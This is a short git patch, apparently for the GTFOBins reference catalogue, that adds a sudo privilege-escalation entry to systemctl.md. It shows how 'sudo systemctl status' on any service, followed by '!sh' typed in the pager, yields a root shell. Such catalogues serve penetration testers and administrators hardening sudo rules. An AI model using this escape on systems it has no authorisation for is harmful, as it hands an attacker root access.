From 64763cdee6c14bf9e60855be4f83e36d107ea99f Mon Sep 17 00:00:00 2001 From: k4z01 <121379514+k4z01@users.noreply.github.com> Date: Fri, 6 Oct 2023 12:58:11 +0300 Subject: [PATCH] Update systemctl.md How to obtain a root shell when you can run systemctl status with sudo --- _gtfobins/systemctl.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/_gtfobins/systemctl.md b/_gtfobins/systemctl.md index 4a68b33..cb2b1ae 100644 --- a/_gtfobins/systemctl.md +++ b/_gtfobins/systemctl.md @@ -29,4 +29,7 @@ functions: code: | sudo systemctl !sh + code: | + sudo /usr/bin/systemctl status any.service + !sh ---